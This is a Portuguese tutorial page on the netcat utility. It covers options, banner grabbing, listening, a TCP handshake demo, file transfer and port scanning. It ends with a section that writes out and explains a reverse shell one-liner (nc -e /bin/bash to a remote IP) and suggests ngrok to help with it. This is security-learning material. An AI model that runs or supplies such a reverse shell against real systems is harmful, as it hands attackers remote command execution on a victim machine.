Skip to main content

NetCat | Banners | nc | Solyd One

  • NetCat | Banners | nc | Solyd One
success

Quando você quer usar uma porta sem estar como root, as vezes acontece de faltar permissão. Portas altas acima de 1024 normalmente não solicita usuário root

info

Páginas 404 mapeadas com banners: 🔗 Clique aqui

Comando: netcat | nc

Sintaxe básica

nc [opções] <host> <porta>

Opções principais

  • -l → modo listen (aguarda conexões).
  • -v → modo verboso (mostra mais detalhes).
  • -n → ignora DNS (não resolve nomes).
  • -p PORTA → define a porta de escuta.
  • -u → usa UDP em vez de TCP.
  • -k → mantém a sessão aberta após a primeira conexão.
  • -e /bin/bash → executa um comando (⚠️ desabilitado em versões modernas).
  • -z → modo scan (verifica portas sem enviar dados).
  • -w SEGUNDOS → define tempo limite para conexões.

Informações

nc <ip_dominio> <porta>

# necessario mandar algo dando ENTER
warning

Após rodar o comando, deve ser enviado algo

info

Com o comando acima, é possível capturar banners. Banners são respostas padrão de determinado software como o nginx

success

Usado para conectar em portas


Escutar alguma porta

nc -lvp <port>
  • -l - listen
  • -v - verbose
  • -p - porta

Exemplo de Three way handshake | TCP | Solyd One

Para ver o funcionamento, rode os seguintes comandos:

1º terminal:

nc -lvp 5555

2º terminal:

 nc 127.0.0.1 5555

# necessario mandar algo dando ENTER

Resultado: alt text

  • Flag [SYN] = Sincronização
  • Flag [ACK] = Confirmação o recebimento
  • Flag [RST] = Negado

Enviar e receber arquivos/etc | < e > linux | netcat

# 1º Terminal
nc -lvp 7777 > transferencia.txt

# 2º Terminal
nc 127.0.0.1 7777

# Podemos mandar um arquivo também. No 2º terminal
nc 127.0.0.1 7777 < arquivo.txt
info

O sinal de > significa saída O sinal de >> significa que vai gravar sem sobscrever O sinal de < significa entrada

Escanear portas | Escanear por arquivo | netcat

nc -zv <range-port>

# Exemplo
nc -zv 1-90


# Escanear baseado em uma lista de porta
cat arquivo.txt | xargs -I {} nc -zv -w 1 xxx.xx.xx.zz {}

# -w: timeout
# -n : Não fazer resolução de nomes DNS (não tentar converter nomes em endereços IP). As vezes da o erro "inverse host lookup failed: Unknown host"

Bind em alguma aplicação | Shell reverse | netcat

danger

ngrok é bom para ajudar em um shell reverse

nc -e /bin/bash 192.168.1.4 400
info

Quebra do comando

  • nc → abre uma conexão de rede usando o utilitário netcat.
  • -e /bin/bash → instrui o netcat a executar o programa /bin/bash (um shell) e redirecionar sua entrada/saída para a conexão de rede.
  • 192.168.1.4 → é o endereço IP de destino, ou seja, a máquina que vai receber a conexão.
  • 400 → é a porta usada na conexão.

O que isso faz

Quando esse comando roda em uma máquina:

  1. Ele conecta ao IP 192.168.1.4 na porta 400.
  2. Assim que a conexão é aceita, o shell /bin/bash da máquina que executou o comando é enviado para o outro lado.
  3. Isso significa que quem está na máquina 192.168.1.4 pode digitar comandos e eles serão executados na máquina que rodou esse comando — como se tivesse um terminal remoto naquela máquina.